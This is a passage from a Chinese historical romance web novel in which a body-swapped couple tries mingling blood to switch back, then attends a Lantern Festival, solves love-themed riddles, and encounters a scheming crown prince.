“这点小伤算什么,你不是不怕疼吗?” “……” 包扎完毕,室内剩下一片寂静。 “今后打算怎么办?”温珣看了一眼在沈溪言身体里的温越,“得先想办法,让你两换回来。” 第37章 姑且一试 第三十七章 姑且一试 他眉间收紧:“你再仔细想想,当时,还有什么忽略的细节?” 当时…… 温越陷入沉思,那时阿言一心想要替兄长报仇,刺伤了他,然后自戕。 再次睁眼,两人躺在交融的血泊之中,他已经在她的身体里了。 心念一动。 “血?” “难不成两人血液交融,便可互换……” 温越猛然起身,转身就要往外走。 温珣一脸严肃,一把拉住‘女子’纤细的手腕,这一拽扯动了肩膀的伤,刚包好的伤口又渗出暗红,他呼吸重了几分:“你别胡来。” “她怕疼,趁她睡着,我姑且一试。” 温越回头,眼神坚定:“只需指尖一滴血便可。” 手腕被松开。 “……那你小心些。” “哥,我知道,放心吧。” …… 沈溪言正准备点灯下榻,却见房门被轻轻推开。 她立刻翻身上榻,努力调整呼吸。 ‘自己’鬼鬼祟祟从门外探进头,见屋内一片漆黑,才蹑手蹑脚地潜进来。 回自己的房间,夫君为何如此偷摸? 沈溪言眯着眼,装作熟睡的样子。 ‘女子’在房中站定,就在沈溪言以为‘她’不会再动的时候,‘她’小心翼翼地从袖中抽出一把匕首,向床榻靠近。 沈溪言心中大骇,身侧的拳头紧紧握住。 刚做完一场噩梦,沈溪言心有余悸,她不敢动弹分毫,警惕地注视屋内的动静。 ‘女子’握着匕首,在床榻旁顿住,吸气声明显,似乎有些犹豫。 过了半响,‘她’转身退后,沈溪言刚呼出一口气,就见‘女子’又走到妆台前,胡乱翻找,在妆奁中拿出一支细长锋利的簪子,复又向床榻走来。 长簪? 梦中脖颈处的刺痛似乎还未消失,沈溪言的心又提到了嗓子眼。 ‘女子’握着长簪,在床榻旁顿住,吸气声明显,似乎还有些犹豫。 沈溪言紧张到手心都出了汗,静静等着,没发出一点声音。 过了半响,同样的动作,‘她’转身退后,沈溪言再呼出一口气,又见‘女子’走到床尾的矮柜处,胡乱翻找,从枕箱里捏出一根极细的缝衣针,第三次向床榻走来。 终于,看着手中的针,满意一笑。 “这个行。” 凑近床榻,轻轻掀开被褥,掏出男人的宽大手掌,借着微弱的月光,正寻找合适的位置下针。 突然,‘她’口中发出‘啧’的一声,目光微凝,似在权衡什么:“啧,还是不行,我这手,扎浅了不出血,扎深了怕是会给阿言扎醒了,再吓到怎么办?” “夫君,你在做什么?”沈溪言终于忍不住开口。 温越骤然抬头,手腕一抖,细针刺入皮肤。 “嘶——” 沈溪言只觉手心一痛,低头瞧去,那里稳稳地立着一根银针。 温越手忙脚乱将针拔出来,看到一颗极细的血珠冒出来,一脸心虚:“阿言,你醒了。” 沈溪言有些无语,哭笑不得:“你大半夜不睡,在屋里来回地踱步,我想睡着也难啊。” 温越尴尬地挠了挠头,随即想起什么似的,眼神一亮:“既然扎了就莫要浪费。” 他转身点燃烛火,又拿起方才丢在一旁的匕首,在沈溪言眯眼适应光线的那一刻,左手握住刀刃,右手果断一划,血珠顺着拳心滴滴答答淌落,沈溪言一惊,瞳孔微震:“你做什么?” 温越眉头都没皱一下,直接用带血的手掌覆了上去。 两人十指相扣,血混在一起。 掌心湿滑温热,沈溪言想要挣开,却被他死死握住:“别动,试试能不能换回来。” 沈溪言愣住,瞬间明白了此中深意。 醒来之后,她失去了部分记忆。 先前是有刺客刺杀,两人都受了伤,难道换身的关窍就在于此? 暖黄的烛光下,‘自己’那张脸,此刻带着几分执拗与认真。她突然觉得有些好笑:“你现在舍不得刺我有何用?真换回来了,你掌心那一刀,不还是我疼。” 被握着的力道松了几分,温越恍然大悟,眼里满是懊悔:“抱歉,那先不试了……” “别……” 这次换温越挣脱不开。 她的另一只手覆盖在上,他的手被一双大手握在中间,只隐隐漏出细白指尖。 原来阿言的手这样小。 温越不合时宜地想。 两人就这么十指相扣地坐着,大眼瞪小眼。过了一刻钟,除了掌心伤口传来的轻微痛感,无事发生。 温越扣着她的那只手,干脆翻身上榻,拉着她一起躺下,又拽过被褥将两人盖住:“可能是时间不够长。” 他闭眼时一脸笃定:“阿言,睡吧,也许睡一觉就换回来了。” 沈溪言疑惑:“这样能行吗?” “……嗯,姑且一试。” 一夜无梦。 沈溪言最初还在担心温越手心的伤口,可前半夜噩梦连连,后半夜握着他的手,睡得极为安心。 天光大亮,睁眼时,‘女子’一脸愁闷,正在愁眉苦脸地给自己手上裹着纱布。 “夫君。” 温越抬眸:“你醒了。” 沈溪言低头又看了看自己的身体,果然没有换回来。 “不必裹了。”她抽回手,无奈道:“你自己的身体,你还不清楚吗?那针尖大的伤口早都愈合了,倒是‘我’的手……” 温越将手藏在身后:“嗯,别担心,我已经派人去寻何老的踪迹了,也许过几日便有办法了。” 他想摸摸沈溪言的头发,对着自己的脸,又没下得去手。 于是尴尬地悬在半空,直到被推门而进的榴花,一声惊呼打断:“夫人,您的手怎么了!” …… 年关将近,京城中四处都洋溢着喜庆的氛围。 只有定北侯府门前未挂桃符,侯府新丧,依制,族中子弟需守孝三年。 府中屋角檐下的灯盏皆换成素白色,不见一丝彩绘,廊风一过,绸带轻摇,带出几分庄重萧瑟。 转眼到了元日,沈溪言代替夫君,换上一身紫袍,前往紫宸宫参加朝会,这些时日,沈溪言已经能毫无破绽地扮演一个威风凛凛的定北侯。 第38章 灯会 第三十八章 灯会 宫城之内,禁军列阵,鼓乐齐鸣。 沈溪言还是第一次见到这样的场景,她心中澎湃,面上不表。 不认识的朝臣,只是微微颔首。众人皆知‘温珣’孝期未过,纵使‘他’始终一言不发,也不算失礼。 朝贺礼毕,沈溪言拒绝宴饮,归府守制。 又过了几日,到了上元之夜,今日不宵禁,整条锦绣大街上灯火如昼,流光溢彩,好不热闹。 温越带着沈溪言出了侯府。 两人携手,并肩走在人潮涌动的大街上。 四周锣鼓喧天,街边小贩的吆喝声此起彼伏。糖画摊的手艺人,扬起的铜勺上,糖浆滋滋作响,另一侧,花灯铺前的小厮正将竹竿上的兔儿灯挂在高处,活灵活现。 在衣着华丽的京城,男人今日只着一件月白色的锦缎长袍,衣襟处用银线绣着大片云纹,步履走动间,仿佛天边流云划过。他身姿挺拔如松,腰间系着一块圆形的羊脂白玉。 身侧的女子则穿一袭藕荷色罗裙,耳垂处坠着白玉耳环,裙摆层层叠叠,格外清丽脱俗,气质温婉,只是脸色微沉。 温越自从换身之后,就以素雅的衣裳为主,除了特殊场合,他皆多穿窄袖骑装,如今这么一打扮,落在自己身上的目光不知多了多少倍。 他扭头看沈溪言,她眸光清亮,‘他’平日那张冷峻的脸上少了几分肃杀,一头墨发仅用玉簪半束,清俊淡雅,温润如霜月。 见她盯着路旁的一只走马灯,灯面上绘着牛郎织女的图案,竹轴轻转,人影攒动,一架鹊桥若隐若现,两道身影便依偎在了一起。 “喜欢?”温越抬头看她。 他从摊上取下那盏灯笼,木质手柄温凉,灯内烛火摇曳,递到她面前。 摊主堆着笑,望向沈溪言:“公子,夫人喜欢就买一盏吧。” 沈溪言没有接,她眼底盛着细碎的光,一点点暗淡下去:“不喜欢,牛郎偷走了织女的衣裳,世人却偏爱编造凄美的爱情,自欺欺人。” 忽然间,温越的手僵在半空,他神色微愕,迅速垂眸,掩饰眼底的心虚。 远处的城楼上炸开一朵绚丽的烟火,沈溪言转身去瞧,俊逸的面庞被照亮。 温越不动声色地将那盏灯放了回去,干巴巴地笑了一声:“自欺欺人吗?我又何尝不是‘偷’衣裳的牛郎?” 他的声音被爆竹声盖住,沈溪言扭头回望,只见他唇角动了动,听不清再说什么,她俯下身子凑近:“你说什么?” “没什么!”温越扬声回道。 沈溪言虽有些好奇,但也没多问。 她很快被前方舞狮的队伍吸引,继续拉着温越向前走去。 行至御河边,这里早已经聚满了祈愿的百姓。 波光粼粼的河面上,数不清的莲花灯缓缓向下游飘去,半空中,无数孔明灯缓缓升起,天地间烛光摇曳,与映在水中的满天星辰交相辉映,宛若天上宫阙坠落凡间。 有稚童牵着娘亲的手,垫着脚尖:“愿阿娘身体康健,我天天有糖吃!” 有青衣少女低声细语,含羞带怯:“愿心上人万事顺遂,岁岁常相见。” 有夫妻携手而立,相视一笑,:“愿儿女太平,阖家安稳。” 有身着布衣的青年,目光沉静:“愿社稷昌明,百姓安乐。” …… “阿言,我们也放个河灯吧。”温越站在岸边,轻声道:“祈求……早日换回来,还有,家人平安顺遂。” 以及,你能多爱我一点。 “好。” 沈溪言眉眼弯了弯,星星点点的亮光落在她眼里,动人心弦。 温越从摊贩那里挑选了一盏精致的莲花灯,从荷包中掏出一锭银子,潇洒地丢给货郎。 那人一脸激动,连连作揖:“多谢夫人,多谢夫人。” 这盏灯是用宣纸糊成的,又在其上涂了不同颜色的颜料,用作花瓣和叶片,花瓣重叠,舒卷自然,不同的是,拨开花瓣,花蕊中央还点缀了金箔,倒显得独具匠心。 沈溪言小心翼翼地接过灯,二人寻了一块比较开阔的青石台阶。 ‘男人’蹲下身,月白衣袍下摆铺开在地上,温越本想一撩裙角,想起上次这么做,后来被榴花絮絮叨叨了三日,即使今日榴花没跟来,他还心有余悸。 只能任凭裙角落在地上,温越抬头问道:“现在放吗?” 沈溪言心头微动:“等等,我去寻纸笔来。” 她起身,温越瞧见她三两步跑到猜灯谜的小摊那,交涉了几句,随后拿着借来的纸笔,笑着递过来:“今日许愿的人那样多,我怕神明记不住,把心愿写下来,放在灯里,顺水流走,让神明慢慢看可好?” “好,还是阿言想得周到。” “你先写。”她将裁好的一条宣纸塞给他,“我不看。”说罢还背过身去。 温越轻笑了声,接过纸笔,蹲下身子,借着莲花灯中昏黄的灯光,提笔落下几字。 身后脚步挪蹭着贴近,温越装作不知,沈溪言若无其事地拍了拍袍角,实则偷偷踮起脚跟,借着身高的优势,努力去瞄。 只见宣纸上的字笔锋硬朗,墨迹浅浅晕开,力透纸背。 刚瞥见‘愿阿言’三个字,她便觉眼前一花,温越似早有防备,一把将未干的宣纸折起,利落地塞进花灯灯芯处,动作行云流水:“阿言,该你了。” 沈溪言压下心中的好奇,是自己先说不看的,碍于面子着实不好再问。 她接过笔,将宣纸摊开,用身影将其完全遮住,刚准备下笔,似听见身后有动静,她心中一喜,仿佛抓住把柄似的扭头:“不许偷看!” 可下一刻就愣住了,只见温越站在离她五步之外的地方,侧着身,正在仰头瞧天空中的孔明灯,闻言含笑回眸。 “我没看,阿言放心写便好。” 沈溪言脸颊发烫,嘟囔一句:“那便,那便好,我只是叮嘱你一下。” “嗯,我知道的。” 不同于男子的狂放,沈溪言的字透着股秀气,她落笔很轻,字迹小巧娟秀,笔意清婉,若有人路过瞧见,定会疑惑为何一个大男人的字,透着股小女子的妍美秀逸。 第39章 不值钱的小玩意 第三十九章 不值钱的小玩意 写完之后,她小心地将其折起来,也一同塞进灯芯之中。 “写完了?” “嗯。” 本想着夫君若想知道自己写了什么,那她便也能光明正大瞧瞧他的心愿了。 见温越一点也不好奇,沈溪言只好强忍下将那纸条翻出来的冲动,与温越一同将那盏荷花灯轻轻放在水面上。 入水瞬间,河灯微晃,烛火也跟着跳动了两下。 沈溪言吓了一跳,连忙伸手将其虚虚护住,直到那亮光稳住,才松了一口气。 刚想伸手,就被温越按住。 “我来吧。” 正月的河水,还有些寒意。 温越将一只手伸进水面,指尖微曲,撩起一点水,将那盏莲花灯往河心拨去,直到瞧见它载着两人的心愿缓慢飘远。 温越起身,指尖冻的发红,还有水珠往下滴着。 他浑然不在意,胡乱在和荷粉色的裙摆上蹭了蹭,留下一道深色的水渍。 沈溪言看的眉头紧皱,她此刻顶着男人身体,自然也不会随身带着手帕。 突然,温越眼前出现一只修长的男人的手,大拇指上带着一枚墨玉扳指,手中有一方绣着金线云纹的帕子。 “夫人,可是需要手帕?” 沈溪言抬眸,只见男人一袭鸦青宽袖长袍,衣无刺绣,只有袖口一圈金线滚边,穿着很是低调,气质却温润矜贵。 他身后跟着一名身型瘦削的灰衣男子,相貌普通,面无表情,双手垂在身侧,周身气凝炼,一看就是个练家子。 见萧铎这样打扮,她知道他不想被叫破身份,于是只是浅浅躬身:“多谢萧公子。” 越过温越,她伸手接过太子手中的帕子,复又塞到温越手中。 温越见太子亲近‘自己’也来气,见太子亲近沈溪言更是来气。 于是他一把扯过帕子,在手上胡乱擦了一把,上等的织金锦帕子被揉的发皱,闷声道:“多谢。” “夫人,客气了。” 太子正准备去接,面前‘女子’的手指一松,那方手帕脱手而出,恰好一阵风刮过,那轻飘飘布料被卷了起来,在空中荡了几个圈,摇摆着落在了河面上,随着河灯飘走。 “哎!” 温越假意伸手去抓,脚步却未动半分,一脸随意。 “抱歉啊,手滑。” 气氛凝住,太子还未发话,他身后的灰衣男子眸光陡然一冷,瞪着温越,右手已经悄无声息地按在了腰间的刀柄上。 太子抬手制止,眼神眯了眯:“夫人心中不宁,自然手中不稳。”他转身望向沈溪言,“一方帕子掉了是小事,抛下去的鱼饵丢了,方为钓者大忌,不知公子,以为如何?” 前些日子,朝会之上,齐王萧凌风头已经隐隐比肩东宫,年节宫中赐菜,东宫得五十道,齐王府在本该三十道的基础上加了整整十五道,与他这个储君仅一步之遥。 这分明就是挑衅,将他这个东宫太子不放在眼里。 原户部尚书周敬山虽被贬了,门生却不少,户部暂时主事的官员亦是齐王的人,流水的银子花出去,还不如往眼前这御河里丢快石头动静大。 况且如此逾制,礼部官员竟无一人敢开口。 六部之中,已有两部明显倒戈齐王。 温越挑眉,知道他说的是之前‘合作’的事,可醉玉一死,线索断了,现在还不是动周家的最好时间。 沈溪言那日从军营回来,温越便和她说了温如沅大闹侯府的始末,自然也将温如沅口中那些胡言乱语,尽数转达。 起初她还愤愤不平,后来听榴花说,三小姐竖着从正门回侯府,横着从角门抬出去,下人们打扫正厅地面的血渍都花费了整整一个时辰,柳姨娘更是哭的晕了过去,温如意额头都磕破了,蒋氏才命掌刑的婆子收手,她心里的郁结也散了几分。 沈溪言不懂朝堂格局,也不知温越此刻心中所想。 她只是想起那些‘沈溪言并非沈家女的’流言蜚语,夫君曾说,是从澜沧郡传出来的。 昭阳郡主。 她还在生事! 想到此刻,她面色一沉,声音不卑不亢:“萧公子,此言差矣,再未确保鱼儿咬钩之前,是不能轻易收杆的。” “况且,这钓者贫寒,鱼钩上饵料不多,先前还被人偷了钱袋,那小偷至今还逍遥法外,他心中不宁,笼中自无收获。” 太子眼中疑惑。 她眸含挑衅:“看来,萧公子不知,是您身边人办事不力了。” 听到后半句,太子眉峰轻轻一挑,原本垂着的目光忽然抬起来,他扭头望向身后,目光陡然一变。 那灰衣男子眼神惶恐,双腿微抖了一下却没跪下,只是头压的极低,不敢直视主子。 沈溪言心里冷哼一声,让他方才嚣张,当着她的面,敢蹬自己的夫君。 温越将一切都看在眼里,知道沈溪言在替自己出头,心中一暖,面上染了几分得意,他伸手去拉沈溪言,却忘了自己的手方才浸在冷水里。 还没缩回去,就被一双温热的大手紧紧握在了中间。 太子眼看着两人当着他的面卿卿我我了起来。 他眉头紧锁,墨色眸底晦涩,只见‘男人’将‘女子’白皙细腻的小手握在双手之中,拉起来,低头凑到嘴边,缓缓哈出一口热气,然后掌心合拢,搓了搓。 “好些了吗?” ‘女子’含羞带怯的低头含笑:“好多了。” 萧铎从嘴角挤出一丝冷笑:“公子与夫人,还真是恩爱,倒是我多此一举了。” 沈溪言抬头,似乎才意识到外人在场,她目光探寻,那方帕子早已被河水不知冲到了何处,方才她接了一把,那帕子质地柔软,却极轻薄:“可惜了萧公子的帕子了,想必价值不菲吧。” “罢了,不值钱的小玩意。” 将温越的手握在掌心,两人告退后转身离去。 温越的指尖在沈溪言的掌心挠了挠:“你敢利用太子,胆子不小。”分明是指责的话,他却一脸赞赏。 掌心有些痒,沈溪言五指收紧:“这叫什么来着,‘物尽其用,人敬其才’,还是阿珣教我的,你忘了?” 见温越不吭声,她继续道:“他可是储君,就算下手狠了,大长公主也不会拿他如何。” “万一萧铎顾及公主颜面,不忍下手呢?” 沈溪言轻笑一声,扬了扬下巴:“那就得看他心里,你这个‘定北侯’的分量有多重了。” 正说着话,两人身后突然传来‘扑通’一声,岸边有人惊呼,似乎有人落水了。 第40章 吾心悦汝 第四十章 吾心悦汝 这边,温越和沈溪言走后,太子负手而立,面向波光粼粼的水面,原本俊雅的面容上此刻覆着一层寒霜。 见主子不说话,身后的那名灰衣男子冷汗顺着额角滑落,他身体微躬,低眉敛目。 “差事当的是越发好了。” 灰衣男子浑身一震,声音发颤:“属下知罪,可太傅大人……” “管好你的嘴,别忘了谁才是你主子。”太子语气森然,声音冰冷刺骨,后者立刻禁声, “老师说的没错,温珣此人,确实是块难啃的骨头,他也不见得会站在东宫这边。”太子转过身,眼底划过一抹狠厉,又强压下去:“可,那又怎样?今时不同往日,孤管不了那么多了。” 他逼近几步,声音压得急低,眼里透着一股偏执:“如今萧凌都快骑到孤头上了,老师还在说什么要沉住气,沉住气!温珣可是有实打实的兵权握在手里,只要能把储君之位坐稳,区区一个昭阳,孤岂会放在眼里?” 灰衣男子大气都不敢喘,他僵直身体听着。 突然,太子脸上的阴霾一扫而空,他的唇角重新挂上了一抹温润的笑意,仿佛方才失态的不是他。 灰衣男子紧绷的神情并未放松,反抖而抖更厉害了:“殿下……” “哎?记性可真差,都说了在外面。” “是……” “小心保住你的舌头。”太子伸手在他的肩膀上,不轻不重地拍了拍:“今日是因你的擅自隐瞒,让孤白来一趟,你说孤该怎么罚你呢?” 他的语气极轻,灰衣男子听到男人在笑,可这笑,却让他感觉像是被一条毒蛇缠住了脖子,窒息感一点点袭来。 “你是老师的人,孤总得顾及老师的颜面。” 灰衣男子刚松了口气,就又听耳边道:“方才那方帕子,孤还挺喜欢的。” 他一时有些愣神,抬头看见矜贵俊雅的男子,慢条斯理地理了理平整光洁的袖口:“去吧,半刻钟,孤要那帕子完好无损地出现在孤的面前。” 半刻钟,虽说时间有些紧,可到底给了他活命的机会,灰衣男子不敢有丝毫的犹豫,转身就要往河边冲。 “慢着。” 灰衣男子身形一滞,脚步顿住。 “孤记得,本朝素以仁爱治天下,父皇也时常教导孤,做个爱民如子的储君,上元之夜,百姓祈福,若是扰了这份祥和,确实不妥……” “不过,”太子话头一转,笑的一脸无害,声音轻飘飘的,语气里却带着不容置疑:“这帕子还是要捡回来的。” “你跟在老师身边多年,定然明白孤的难处,一会下水的时候,可要仔细些,莫要弄坏河里的任何一盏灯。” 灰衣男子脸上慢慢褪去血色。 太子上前一步,帮灰衣男子整了整衣领,凑近:“若是碰翻了,或是弄灭了……那你也不必回来了。” “……是,属下,遵命。” ‘扑通’一声,落水声传来。 太子萧铎望着河岸边越聚越多的人,脸上是一片光未曾照到的阴影,笑意收敛,他身后出现一抹黑色身影。 接过一方新帕子擦了擦手,太子嫌恶地丢在一旁,语气森然:“做的干净些,别让人抓住把柄。” “是,太傅大人那边……” “他知道又如何?老东西敢对孤的命令指手画脚,手伸的未免也太长了些。” …… 街市灯火通明,人群踏着光影,穿梭其间。 两人顺着河岸缓缓而行,各式摊位错落有致。没走多远,便见右手边的长街上聚了不少人,都在仰头望着长街二楼廊上悬挂的一盏琉璃凤凰彩灯。 沈溪言想凑凑热闹,可拽着温越,几次也没挤进人群。 “阿言,你看那。” 顺着温越的目光望去,只见前方不远处,垂着几排不起眼的红纱灯,每个灯笼下挂着一只竹签,上书谜面。 那里并未像别处一般人潮涌动,只有三五人在低声交谈,驻足观赏。 沈溪言眸中一亮:“夫君,我们去那!” 摊主是个面容和善的老者,见两人来,笑道:“二位客官来的正好,这正巧缺人呢,可愿做个游戏?” 温越见沈溪言跃跃欲试,便问道:“规则如何?” 摊主摸了摸白花花的胡须:“这有三组谜题,每组四题,谜底分别是一个字,猜中一题走一步,最后四字组成一句话。” “三组人同时开始,两人分立两端,一人猜题,一人书写,最后,将写好的竹签挂在竹架高处,最先完成即胜者,获胜者可以个人的名义,为城北文庙的私塾捐赠五银子,算是为学子们筹钱读书。” “一两银子一局,可要参与?” 温越从荷包抛出二十两银子,心中了然,怪不得此处人不多,原来就算赢了灯谜游戏,‘彩头’也到不了自己手里。 摊主激动地手都有些抖,瞅了一眼两人,将温越领至一行灯笼前,眸中透着狡黠的光:“小姐站这儿。”随后他拱手深深一揖:“小姐大恩,老朽先替孩子们谢过。” 温越虚扶起他,摆摆手。 见他们参加,有几人也凑上前来。 若是寻常花灯彩头,沈溪言不一定愿意参加,可如今也来了兴趣,目光灼灼。 另外两组人分别是一对中年夫妻,和一对年轻兄妹。 “阿言,我来猜,你来写,如何?” 沈溪言点点头,走到温越对面,将一只空白竹签铺开,右手握笔,神色专注。 随着一声令下,清脆的铜锣声敲响,三组人齐刷刷动了起来。 温越身形灵动,率先抬手拽下他面前的一只竹签,之间上面写着娟秀的小字,他扬声开口念道: “五添一口寄相思。” 沈溪言眼波流转,心领神会,提笔在竹签最上方写下一字:‘吾’。 两人相视一笑,此时那中年男子还对着第一个灯谜皱眉出神,那青年兄妹在有些犹豫谜底到底对不对。温越脚下已经动了起来,他上前一步,摘下面前的第二支竹签。 只见谜面上写着: “方寸藏真意,一点贯始终。” 还未等温越开口,沈溪言思索一瞬,在‘吾’字之下,写下一个‘心’字。 那边的中年夫妻依旧卡最初的位置,兄妹则刚解出第一题,正前进一步,准备摘下第二支竹签,温越已经走到了第三盏灯笼之下。 遥遥领先,胜券在握。 他取下第三支竹签: “心随兑至意欣然。” 沈溪言觉得这句有些拗口,但温越念出口的那一瞬间,谜底似乎已经跃然纸上。 她抬眸,看了一眼对面的温越:“是‘悦’字。” “阿言聪慧。”温越轻轻点头,眉眼含笑,在近一步,此刻两人之间地距离也就一步之遥。 她在纸上稳稳下笔。 最后一个谜题,温越索性将竹签反转过来,同沈溪言一起看: “水畔女子。” “这题简单。” 最后一笔落下,沈溪言在竹签底部,写下一个‘汝’字。 温越也走至案前,他拿起那只竹签,只见上面的四个字笔意清婉,气韵生动,他状似无意般念道:“吾心悦汝。” 第41章 想做你妻 第四十一章 想做你妻 即使知道他在念谜底,沈溪言还是感觉心跳漏了一拍,脸颊不由得微微发烫。 “嗯。” 声音细弱蚊吟。 “两位客官,快些将竹签挂上吧。”那摊主笑吟吟地提醒。 温越笑了笑,拉着沈溪言来到竹架前。 他此时是女子身体,身量娇小,够不到顶端的横木,便将写好的竹签递给沈溪言。 她接过竹签,将其高高地挂在了竹架的最高处,风一过,竹签旋转,格外醒目。 铜锣声再次敲响,比试结束。 另外两组虽然输了,可他们也不气恼,还是将剩下谜题的竹签一一摘下。 中年夫妻的谜底是‘长安常乐’,兄妹两则是‘顺颂时宜’,本就是图个热闹,做一份善事,问了摊主答案之后,四人皆满脸笑意,相携离去。 温越看着那飘动的竹签,忽地一笑,提议道:“不如我们也写一个谜面,让后面人来猜如何?” 摊主闻言,喜上眉梢:“小姐公子若愿意写,那自然是求之不得。”他在案前摆了四支空白竹签,又递上笔墨。 沈溪言一时还真想不出什么:“阿珣可有什么好主意?” 温越心念一动,提笔,在空白竹签上行云流水地写下几句话。 墨迹未干透,他将几支竹签捏起来抖了抖,又放在沈溪言面前,目光灼灼:“阿言,先猜猜?” 那四支竹签上,分别写着: 木依心旁,目落中央 古人做反文 人尔两相依 夫子下面十个女 沈溪言看着那几行字,一字一句念着:“想,做,你,妻。” 话说出口,她才觉出这话中深意,顿时羞的满脸通红, 那摊主见状,一脸戏谑,见那‘公子’念这出话羞红了脸,‘小姐’则是一脸得意的神情。 “小姐这谜面出的好,不过这怎让这位公子念出来了?应当反过来才对。” 沈溪言被旁人点破,脸颊更烫,耳尖更是要滴出血来,她拉着温越扭头就走,还不忘回头给老板说:“别忘了我们的彩头。” 老者在身后看着两人离去的背影,乐呵呵地收起竹签,将新写的竹签一一挂在灯笼之下,突然他想起什么似的,回头张望,哪里还有二人身影。 他心里暗自嘀咕,这两人也没留下姓名啊。 沈溪言拉着温越一路小跑,直到两人都气喘吁吁,才停下脚步。 抬眼,瞅见一面具摊。 沈溪言随手抓起一张青面獠牙的鬼王面具,扣在‘自己’俊朗的面容之上,猛然转身,冲着身后的温越怪叫一声。 温越极其配合,顶着女子那张明媚娇艳的面容,做出一副被吓到的模样。 沈溪言被他逗乐了,也给自己挑选了一张兔子面具,谁知温越没接,眸光一撇,抓起旁边一张憨态可掬的小猪面具,盖在自己脸上,还挑衅地晃了晃脑袋:“阿言,这才是你。” “你!不许给‘我’戴那么丑的面具!” 沈溪言双手叉腰,跺了跺脚,浑然忘记了此刻她还是一个男子的身体,这幅举动落在外人眼里会有多怪异。 她想要夺下面具,却被温越灵巧躲开,沈溪言气结,脸色涨红,连名带姓的喊他:“温含章,你给我站住!” 两人围着摊位追逐,摊主焦急喊:“客官客官,还没给钱呢!” 温越躲着沈溪言的同时,随手丢出去一块碎银子:“不必找了。” 然后他转头将面具拿下,又戴上,反复几次,在对方冒火的眼神注视下:“阿言,换不了喽,已经付过钱了。” “别让我抓住你!”撂下狠话之后,沈溪言正要追他,就见前方涌来一队舞狮队,两侧观看的百姓随着队伍前进,聚集,一下子就将两人冲散。 “阿珣!” 沈溪言喊了一声,却被喧闹的人身声淹没。 她慌忙在人群中寻找,花灯如海,光影交错,灯会上人潮涌动,男女老少皆着盛装,晃花了眼,她一时搜寻不到温越的身影。 突然,她眼角余光瞥见一抹熟悉的身影,那人身形极高,一袭靛蓝色素缎长袍,袖口绣着素雅的银竹暗纹,墨发简单束起,插着一根玉簪。 雅致端正,如圭如章。 只一个背影,就让她失了神。 她下意识要喊出声,脚步已经迈了出去,猛然意识到,此刻她与夫君意外换身了,脚步生生定在原地。 一定是方才着急,看花了眼。 正要抬头确认,一辆装饰华丽的马车从长街中央冲了出来,马蹄扬起,坐在车辙上的车夫高声喊道:“让开,让开!” 人流向两旁散开,沈溪言被挤得身形不稳,退后两步,然后被女子的一只素白小手紧紧抓住胳膊。 “小心!” 沈溪言回头,只见温越还戴着那张小猪面具,另一只手捏着一根晶莹剔透的糖葫芦。 透过面具的孔隙,眼里满是担忧:“看什么呢,也不知道看路,摔了怎么办?” 那马车呼啸而过,扬起一阵烟尘,路人纷纷掩面,骂声一片。 沈溪言再次抬头,前方空荡荡的,除了几个卖茶点面人小摊,哪里还有那男子的影子? “阿珣,你去哪了?” ‘女子’摘下面具,晃了晃手中的糖葫芦:“方才被人群冲散,又恰好瞧见这个,知道你喜欢吃,就买了一串。” “阿言,尝尝?” 红艳艳的山楂裹上金黄的糖衣,在灯火的映衬下,颜色格外诱人。 糖葫芦被递到嘴边,沈溪言低头,就这温越的手咬了一口。 外皮酥脆清甜,内里山楂酸甜可口,味蕾仿佛被打开,她满意地眯了眯眼睛。 “好吃吗?” “……嗯,好吃,阿珣你也吃。” “是给你的,看着你吃,我就欢喜。” 温越多嘴角轻轻扬起,瞧着‘她’开心,他的心里溢满了满足感,脸上浮现久违的安宁,这样就很好。 半刻前,两人被人群冲散,温越望见沈溪言焦急地在人群中,搜寻他身影的时候,他的心里是复杂的。 他唤来南枢,沉声道:“今夜夫人放的那盏河灯,去捞出来。” 南枢一愣,有些迟疑:“主子,您是想知道夫人写了什么心愿?这……” “还不快去!” 他有些烦躁,‘偷’来的又如何,那他能偷来,也是他温越的本事。 他暗自思忖,祈求神明不如祈求他,他自会实现阿言的一切愿望。 “对了,这件事绝不可以让夫人知道。” “……是。” 思绪回笼,沈溪言眼睛亮亮的,低头看向自己的时候情意都要溢出来了。 “阿珣为我买了糖葫芦,我也为夫君买最爱吃的糖炒栗子如何?” 温越干笑一声:“好……啊,只不过这大晚上的,也不一定碰得到,呵呵……” 话音刚落,耳边不合时宜地响起摊贩游走的叫卖声:“糖炒栗子!刚出锅的糖炒栗子!” 温越脸色骤变。 第42章 就是个江湖骗子 第四十二章 就是个江湖骗子 一种似曾相识的危机感袭来。 “阿言,我……” “老板,要一份糖炒栗子!” 还未来得及阻止,沈溪言已经拦住那人,付了钱,将油纸包裹的油亮亮、热烘烘的栗子捧到了温越面前。 “阿珣,尝尝。” 温越僵着脖子,扬起头。 等等…… 扬起头? 他现在还是沈溪言的身体啊! 一股绝处逢生的喜悦瞬间席卷全身。 温越捏起一颗炸开的栗子,不顾滚烫的外壳,边吹气边剥开,丢入口中,香甜软糯,一口咽下,舌头无事,喉咙无事,他温越,也无事。 一把将油纸裹起,抓紧:“阿言,说好了给我买的,你可一口都不许偷吃。”他顿了顿,不放心似的补充道:“方才的糖葫芦我也一口没吃。” 沈溪言失笑:“知道了,都是你的都是你的,行了吧。” 她将纸包塞进温越怀里,以前的温珣,端稳持重,克己复礼,时刻保持着温家长公子的仪态,绝不会向如今一样,还会耍起小孩子脾气了。 不过,此时的他,更鲜活,更有烟火气,她与他之间,也感觉更亲近了,竟然有些……莫名可爱? 沈溪言晃了晃头,甩开脑子里乱七八糟的想法。 温越‘化险为夷’,眼底全是对自己灵活反应的赞赏。 忽然,他瞥见街头转角处有一算命摊子。 那算命先生穿着一身洗的发白的灰色道袍,袖口处都磨出了毛边,面色蜡黄,眼眶深陷,一对眼珠浑浊灰白,似乎是个眼盲的老道,。 他面前放着一张旧木桌,桌上铺着一张八卦图和几枚铜板。 这年头,街边算卦的多半是江湖术士,沈溪言顺着他的目光瞧去:“怎么了,阿珣,可是有兴趣?” 温越撇了撇嘴,嘟囔一句:“谁会在上元节来算命啊?” 下一秒,他转身:“阿言,这糖炒栗子的味道甚好,不如我们在买些给母亲带去,她一定欢喜。” “好呀,都听你的。” “可是……方才猜灯谜,我今日带来的银子不多了,可否劳烦阿言寻一寻那卖糖炒栗子的摊主,我就在此处等你。” 温越颠了颠自己腰间渐瘪的荷包,一脸难为情。 沈溪言不疑有他,重重的点头道:“好,那阿珣就在这等我,我去去就来。” 看着沈溪言背过身去,温越径直走向街角,他也不废话,撩袍坐下,丢了一把碎银子,报上两人的生辰八字:“先生,替我算算这两人的姻缘。” 